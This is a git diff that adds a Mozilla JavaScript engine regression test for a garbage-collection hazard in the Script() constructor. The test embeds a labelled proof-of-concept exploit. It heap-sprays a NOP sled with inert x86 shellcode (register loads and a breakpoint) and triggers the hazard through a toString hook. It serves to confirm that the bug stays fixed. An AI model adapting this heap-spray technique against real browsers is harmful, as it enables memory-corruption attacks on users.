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diff --git a/js/src/tests/js1_5/extensions/regress-338804-02.js b/js/src/tests/js1_5/extensions/regress-338804-02.js
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+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* ***** BEGIN LICENSE BLOCK *****
+ * Version: MPL 1.1/GPL 2.0/LGPL 2.1
+ *
+ * The contents of this file are subject to the Mozilla Public License Version
+ * 1.1 (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ * http://www.mozilla.org/MPL/
+ *
+ * Software distributed under the License is distributed on an "AS IS" basis,
+ * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+ * for the specific language governing rights and limitations under the
+ * License.
+ *
+ * The Original Code is JavaScript Engine testing utilities.
+ *
+ * The Initial Developer of the Original Code is
+ * Mozilla Foundation.
+ * Portions created by the Initial Developer are Copyright (C) 2006
+ * the Initial Developer. All Rights Reserved.
+ *
+ * Contributor(s): shutdown
+ *
+ * Alternatively, the contents of this file may be used under the terms of
+ * either the GNU General Public License Version 2 or later (the "GPL"), or
+ * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
+ * in which case the provisions of the GPL or the LGPL are applicable instead
+ * of those above. If you wish to allow use of your version of this file only
+ * under the terms of either the GPL or the LGPL, and not to allow others to
+ * use your version of this file under the terms of the MPL, indicate your
+ * decision by deleting the provisions above and replace them with the notice
+ * and other provisions required by the GPL or the LGPL. If you do not delete
+ * the provisions above, a recipient may use your version of this file under
+ * the terms of any one of the MPL, the GPL or the LGPL.
+ *
+ * ***** END LICENSE BLOCK ***** */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 338804;
+var summary = 'GC hazards in constructor functions';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+printStatus ('Uses Intel Assembly');
+
+// <script>
+// SpiderMonkey Script() GC hazard exploit
+//
+// scale: magic number ;-)
+//  BonEcho/2.0a2: 3000
+//  Firefox/1.5.0.4: 2000
+//
+var rooter, scale = 2000;
+
+exploit();
+/*
+  if(typeof(setTimeout) != "undefined") {
+  setTimeout(exploit, 2000);
+  } else {
+  exploit();
+  }
+*/
+
+function exploit() {
+  if (typeof Script == 'undefined')
+  {
+    print('Test skipped. Script not defined.');
+  }
+  else
+  {
+    Script({ toString: fillHeap });
+    Script({ toString: fillHeap });
+  }
+}
+
+function createPayload() {
+  var result = "\u9090", i;
+  for(i = 0; i < 9; i++) {
+    result += result;
+  }
+  /* mov eax, 0xdeadfeed; mov ebx, eax; mov ecx, eax; mov edx, eax; int3 */
+  result += "\uEDB8\uADFE\u89DE\u89C3\u89C1\uCCC2";
+  return result;
+}
+
+function fillHeap() {
+  rooter = [];
+  var payload = createPayload(), block = "", s2 = scale * 2, i;
+  for(i = 0; i < scale; i++) {
+    rooter[i] = block = block + payload;
+  }
+  for(; i < s2; i++) {
+    rooter[i] = payload + i;
+  }
+  return "";
+}
+
+// </script>
+ 
+reportCompare(expect, actual, summary);